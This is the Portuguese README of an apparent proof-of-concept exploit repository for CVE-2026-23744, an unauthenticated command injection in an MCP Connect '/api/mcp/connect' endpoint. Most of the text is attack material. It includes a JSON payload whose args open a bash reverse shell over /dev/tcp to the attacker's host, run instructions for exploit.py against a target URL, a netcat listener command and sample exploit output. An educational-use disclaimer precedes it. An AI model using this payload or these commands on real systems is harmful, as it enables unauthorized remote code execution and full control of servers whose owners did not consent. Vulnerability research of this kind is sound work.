
Prova de conceito de exploit para CVE-2026-23744, uma injeção de comando não autenticada no MCP Connect que leva à execução remota de código e shell reverso.
⚠️ Aviso: Este repositório é apenas para fins educacionais e de pesquisa em segurança. O uso deste exploit contra sistemas sem autorização explícita é ilegal. O autor não se responsabiliza pelo uso indevido deste código.
A vulnerabilidade reside no endpoint /api/mcp/connect, que permite a um atacante não autenticado registrar um servidor MCP (Model Context Protocol) arbitrário com uma configuração maliciosa. Como não há validação nem sanitização do campo command e seus args, é possível injetar comandos do sistema operacional que são executados diretamente no servidor com os privilégios do processo web.
Isso resulta em uma execução remota de código (RCE) que pode ser aproveitada para obter uma reverse shell sobre o sistema comprometido.
| Campo | Detalhe |
|---|---|
| Tipo | Remote Code Execution (RCE) |
| Vetor | Rede (HTTP POST sem autenticação) |
| Endpoint | /api/mcp/connect |
| Severidade | 🔴 Crítica |
| Autenticação | Não requerida |
| Impacto | Controle total do servidor |
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
O servidor processa essa configuração e invoca o comando bash com os argumentos fornecidos, estabelecendo uma conexão TCP reversa em direção ao atacante.
pip install requests termcolor
python3 exploit.py -l <SEU_IP> -u <URL_ALVO>
| Parâmetro | Descrição | Exemplo |
|---|---|---|
-l | Seu IP (onde você receberá a shell) | 192.168.1.50 |
-u | URL base do alvo | https://victim.com |
Terminal 1 — Listener:
nc -nlvp 443
Terminal 2 — Exploit:
python3 exploit.py -l 192.168.1.50 -u https://victim.com
[-] Please, execute the following command in another terminal:
[+] nc -nlvp 443
[-] Press 'Enter' when the command has been executed...
[+] Sending attack request...
Uma vez enviada a solicitação, o listener na porta 443 receberá a conexão reversa com uma shell interativa do servidor comprometido.
/api/mcp/connect antes de processá-los..
├── exploit.py # Script principal do exploit
└── README.md # Este arquivo
Desenvolvido com fins de pesquisa em segurança ofensiva por Jorge Arana Fedriani.